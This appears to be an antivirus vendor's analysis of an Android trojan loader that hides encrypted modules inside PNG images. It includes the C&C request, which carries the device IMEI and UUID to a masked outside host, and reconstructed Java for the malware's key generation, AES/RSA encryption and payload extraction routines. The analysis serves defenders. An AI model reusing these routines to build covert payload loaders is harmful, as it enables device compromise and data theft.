SHA1:
- 582decad305a2c86b09b7024def880929b8fe6ac
A Trojan module which loads to an Android device a malicious program Android.RemoteCode.127.origin. Its code is obfuscated (encrypted). In addition, Android.RemoteCode.126.origin uses string encryption and reflection to call system classes.
Android.RemoteCode.126.origin is launched using the DexClassLoader class. Once launched, it establishes connection with the command and control (C&C) server located at http://sm.**msdk.com and receives an address to download an image. Example:
http://cdn-sm.**msdk.com/resource/sm/file/png/1513738735687/1513738735687.png
This image contains an encrypted malicious module Android.RemoteCode.125.origin, which is a modification of the Trojan and performs similar functions.
Once launched, it downloads another image from the C&C server. This image also contains an encrypted Trojan (Android.Click.221.origin).
An example of the image obtaining process and decryption with Trojan modules
First, Android.RemoteCode.125.origin receives from the C&C server http://sm.**msdk.com a public key:
{
"msg":"success",
"code":0,
"data":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCNKSl51vNbKmJhoM75HoaPX3i/6vzL24V3deREFji7rigpxOGQaiHn+3
WzSp4MuumSgDYpblePKnQ9q6m6Jv567CXsAyjbFds7aPx3cDoWbYT++R5vO152+wCu0tvZVVCck0x5aPShXE4ztE7ioSlZBhnYdIFC
pfWqBcDm4pi+fwIDAQAB"
}
Then if forms JSON (Java Script Object Notation) that looks the following way:
{
"action":202,
"params":{
"channel":"yyyy_02",
"uuid":"********-****-3615-a2d8-9d84cd5e186e",
"imei":"********0006551",
"sdkInitTime":1517582648179,
"activeTime":80000,
"pushVersion":15
}
}
After this, the Trojan generates an arbitrary key in the following way:
public static String randomKey() {
StringBuilder v1 = new StringBuilder();
Random v2 = new Random();
int v0;
for(v0 = 0; v0 < 16; ++v0) {
v1.append(((char)(v2.nextInt(95) + 32)));
}
return v1.toString();
}
and it uses the key to encrypt JSON created earlier:
public static String EncryptString(String key, String data){
byte[] ret = null;
try{
SecretKeySpec skey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, skey, new IvParameterSpec(key.getBytes()));
ret = cipher.doFinal(data.getBytes());
}catch (Exception e){
e.printStackTrace();
}
return new String(Base64.encode(ret, Base64.NO_WRAP));
}
Then Android.RemoteCode.125.origin encrypts the generated key with a public key received from the server:
public static byte[] encryptKey(byte[] data){
String key =
"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCNKSl51vNbKmJhoM75HoaPX3i/6vzL24V3deREFji7rig
pxOGQaiHn+3WzSp4MuumSgDYpblePKnQ9q6m6Jv567CXsAyjbFds7aPx3cDoWbYT++R5vO152+wCu0tvZ
VVCck0x5aPShXE4ztE7ioSlZBhnYdIFCpfWqBcDm4pi+fwIDAQAB";
byte[] keyb = Base64.decode(key, Base64.NO_WRAP);
try {
PublicKey pkey = KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(keyb));
Cipher c = Cipher.getInstance("RSA/ECB/PKCS1Padding");
c.init(1, ((Key)pkey));
data = c.doFinal(data);
} catch (Exception e) {
e.printStackTrace();
return null;
}
return data;
}
Then the Trojan sends to the C&C server a request which looks the following way:
POST HTTP/1.1 http://sm.**msdk.com/athene/do
session:
CihyTVwzXMdJzR6V1PMPjObfgJMY/7WCmbrJq7GT9ZdpiPBlJs+NN/8h2aLESeAOPlnakLP4uq1oOrNcuZSGsQIQYocraobbN8CyyrcS
xZjlWuLSAdosknkWYsLFg1OYV2ptt0UWAW8kh37Hg9C9NRReMWErw8oDQ16ANUUJESs=
count: 1
version: 15
Content-Type: text/html
Accept-Encoding: gzip
Accept: application/json
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; Philips_S307 Build/KOT49H)
Host: sm.**msdk.com
Connection: Keep-Alive
Content-Length: 256
A+9tbN20WCpU7auWhdjSuEVRjHJJsphrqpvdRblInJVmq9A0Or0+P7W2kch2DhWF1Tpvw0tl3wl+1yrYhJSq0gkExp/g9lAAwnBx4VB
6ZOrfVyPnC4j+tWkL9ExS1wgg607PEdhM4RHHyjci7qvB3R4Rlk6e2zdrSAhzAwUzHaWa7YVUVvl1ru+zWU1g7SwuLq7oQsEkV8hoZ
pQLN5oFJcv+kp60vksn1S1uflMVggEaOh6KjctLRhrSnXMrZ9wJ
where feature session is a generated key encrypted earlier.
As a response, Android.RemoteCode.125.origin receives an encrypted task to download images with a link to download a graphic file. Task is decrypted the same way as data infected with the Trojan were encrypted on the first server request (the generated key is applied):
{
"msg":"success",
"code":0,
"data":[
{
"classLoader":true,
"init_methods":"[\"setCacheType\",\"setDebug\", \"init\"]",
"methods":"[{\"name\":\"setCacheType\",\"class\" : [\"int\"],\"value\":[3]},{\"name\":\"setDebug\",\"class\" :
[\"boolean\"],\"value\":[false]},{\"name\":\"init\",\"class\" :
[\"android.content.Context\",\"java.lang.String\"],\"value\":[\"context\",\"channel\"]},{\"name\":\"recycle\",\"class\":[],\"value\
":[]}]",
"is_run":true,
"name":"GW56",
"png":{
"classLoader":false,
"interval_second":0,
"start":4403,
"description":"",
"title":"",
"version":56,
"domain":"",
"download_url":" ", http://cdn-sm.**msdk.com/resource/sm/file/png/1513659330069/1513659330069.png
"is_run":false,
"name":"GW-",
"link_url":"",
"aesKey":"MnbquLPgogfYf2TD",
"desc":"",
"md5":"a4e722d859b2a4b94c763b117f962f8b"
},
"cache_type":3,
"destory_methods":"[\"recycle\"]",
"type":4,
"class_name":" .GW" com.xd.gw
}
]
}
In the response received from the server, there is a link to download an image with the Trojan module Android.Click.221.origin http://cdn-sm.**msdk.com/resource/sm/file/png/1513659330069/1513659330069.png and data for its decryption. This image looks the following way:
Extraction of the Trojan module from the image could be performed the following way:
public static void decodePNG(String imgPath, int start, String key){
try(
FileInputStream fis = new FileInputStream(imgPath);
FileOutputStream fos = new FileOutputStream((imgPath + ".jar"));
ByteArrayOutputStream baos = new ByteArrayOutputStream()
) {
fis.skip(start);
int i = 0;
while ((i = fis.read()) != -1){
baos.write(i);
}
byte[] data = baos.toByteArray();
SecretKeySpec skey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, skey, new IvParameterSpec(key.getBytes()));
data = cipher.doFinal(data);
fos.write(data);
}catch (Exception e){
e.printStackTrace();
}
}
Values start and aesKey are used for that. These values were obtained earlier from the response message of the C&C server.